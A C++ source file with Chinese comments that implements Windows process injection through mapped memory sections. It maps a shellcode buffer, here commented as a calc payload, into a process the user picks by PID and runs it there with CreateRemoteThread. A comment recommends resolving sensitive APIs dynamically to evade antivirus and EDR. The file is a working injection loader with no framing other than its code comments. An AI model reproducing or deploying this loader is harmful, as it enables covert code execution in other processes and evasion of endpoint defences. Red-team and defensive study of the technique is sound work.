#include <windows.h>
#include <stdio.h>
#include <winternl.h>
#include <iostream>
typedef LONG NTSTATUS;
// API函数声明,这常见于动态获取API的常见中
typedef NTSTATUS(NTAPI* pNtCreateSection)(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PLARGE_INTEGER MaximumSize,
ULONG SectionPageProtection,
ULONG AllocationAttributes,
HANDLE FileHandle
);
typedef NTSTATUS(NTAPI* pNtMapViewOfSection)(
HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
SIZE_T CommitSize,
PLARGE_INTEGER SectionOffset,
PSIZE_T ViewSize,
DWORD InheritDisposition,
ULONG AllocationType,
ULONG Win32Protect
);
int main() {
// calc shellcode
unsigned char shellcode[] = {
0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3
};
// 定义一些变量
SIZE_T size = 4096;
HANDLE hSection = NULL;
HANDLE hProcess = NULL;
size_t dwShellcodeLength = 0;
LARGE_INTEGER sectionSize = { size };
PVOID localSectionAddress = NULL;
PVOID remoteSectionAddress = NULL;
// 动态获取API
pNtCreateSection myNtCreateSection = (pNtCreateSection)GetProcAddress(GetModuleHandleA("ntdll"), "NtCreateSection");
pNtMapViewOfSection myNtMapViewOfSection = (pNtMapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll"), "NtMapViewOfSection");
// 用户输入PID,正常来说应该使用argv来获取PID参数,这里只是方便我们调式而已。
DWORD PID = 0;
std::cout << "请输入目标进程的PID:";
std::cin >> PID;
// 创建一个内存节区(section)
NTSTATUS status = myNtCreateSection(&hSection, SECTION_ALL_ACCESS , NULL, (PLARGE_INTEGER)§ionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
if (!NT_SUCCESS(status))
{
printf("NtCreateSection failed with SYSTEM ERROR CODE: %d.\n", GetLastError());
return (FALSE);
}
// 在本地进程中创建内存节区(section)的本地视图(native view)
NTSTATUS status1 = myNtMapViewOfSection(hSection, GetCurrentProcess(), &localSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_READWRITE);
if (!NT_SUCCESS(status1))
{
printf("NtMapViewOfSection failed with SYSTEM ERROR CODE: %d.\n", GetLastError());
return (FALSE);
}
// 将shellcode复制到本地视图(native view),这也同步影响到共享内存节区中
dwShellcodeLength = sizeof(shellcode);
memcpy(localSectionAddress, shellcode, dwShellcodeLength);
// 打开远程进程
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
// 在远程进程中创建内存节区(section)的视图(remote view)
NTSTATUS status2 = myNtMapViewOfSection(hSection, hProcess, &remoteSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_EXECUTE_READ);
if (!NT_SUCCESS(status2))
{
printf("NtMapViewOfSection failed with SYSTEM ERROR CODE: %d.\n", GetLastError());
return (FALSE);
}
// 在目标进程创建远程线程,执行shellcode。
// CreateRemoteThread可以用CreateUserThread代替,其实所有敏感的API都可以动态获取从而规避AV/EDR
HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteSectionAddress, NULL, 0, NULL);
return 0;
}